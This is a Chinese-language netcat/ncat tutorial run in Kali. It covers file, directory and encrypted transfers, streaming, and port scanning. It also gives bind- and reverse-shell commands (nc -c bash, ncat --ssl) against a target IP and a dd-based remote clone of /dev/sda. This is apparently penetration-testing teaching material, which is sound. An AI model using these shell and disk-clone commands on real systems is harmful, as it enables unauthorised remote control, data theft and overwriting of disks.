netcat的主要功能如下:
1.侦听模式、传输模式
2.telent/获取banner信息
3.传输文本信息
4.传输文件/目录
5.加密传输文件
6.远程控制/木马
7.加密所有流量
8.流媒体服务器
9.远程克隆硬盘
======================================================
注意:演示环境在kali中
1.参数介绍
-v 详细输出
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-p port 本地端口号
-q 在stdin的EOF之后退出并延迟秒
-z 将输入输出关掉--用于扫描时
举例:我们在kali服务器端:
nc -lp 444
在kali监听端:
我们监听kali服务器端的ip 和端口号
nc -nv 192.168.178.138 444
如下所示,我们连接成功。
2.传输文本信息
(1).服务器和监听端连接上之后,直接输入,按回车即可发送信息
(2)在监听端,不破坏磁盘原有位置
nc -lp 333
连接端
ls -l | nc -nv 192.168.178.139 333
如下图连接端显示的,直接传输到监听端
(3)将输出文件重定向
这是服务端
nc -lp 333 > ps.txt
这是监听端
ps aux | nc -nv 192.168.178.138 333 -q 1
我们在服务器端ls下,服务端顺利显示
3.传输文件/目录
(1)正向传输
nc -lp 333 > 1.mp4
nc -nv 192.168.178.138 333 < 1.mp4 -q 1
我们用mplayer播放下
mplayer 1.mp4
顺利播放,嘤嘤嘤。
(2)反向传输
- nc -q 1 -lp 333 < a.mp4
nc -nv 192.168.178.139 333 > 2.mp4
mplayer 2.mp4
依然顺利播放
(3)传递目录
tar -cvf test | nc -lp 333 -q 1
nc -nv 192.168.178.138 333 | tar -xvf -
(4)加密传送文件
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 3.mp4
- mcrypt --flush -Fbq -a rijndael-256 -m ecb < 3.mp4 | nc -nv 192.168.178.138 333 -q 1
(5)流媒体服务器
cat 1.mp4 | nc -lp 333
nc -nv 192.168.178.138 333 | mplayer -vo x11 -cache 3000 -
(6)端口扫描
TCP:
nc -nvz 目标IP 1-65535
UDP
nc -vnzu 目标IP 1-1024
(7)远程克隆硬盘
nc -lp 333 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 目标IP 333 -q 1
3.远程控制
正向:
nc -lp 333 -c bash
nc -nv 目标ip 333
反向:
nc -lp 333
nc -nv 目标IP 333 -c bash
注:windows 把bash改为cmd
Ncat
Nc缺乏加密身份验证的能力
Ncat 包含于 nmap工具包中
ncat -c bash --allow 目标IP -vml 333 --ssl
ncat -nv 目标IP 333 -ssl
不同参数/平台的nc参数功能不尽相同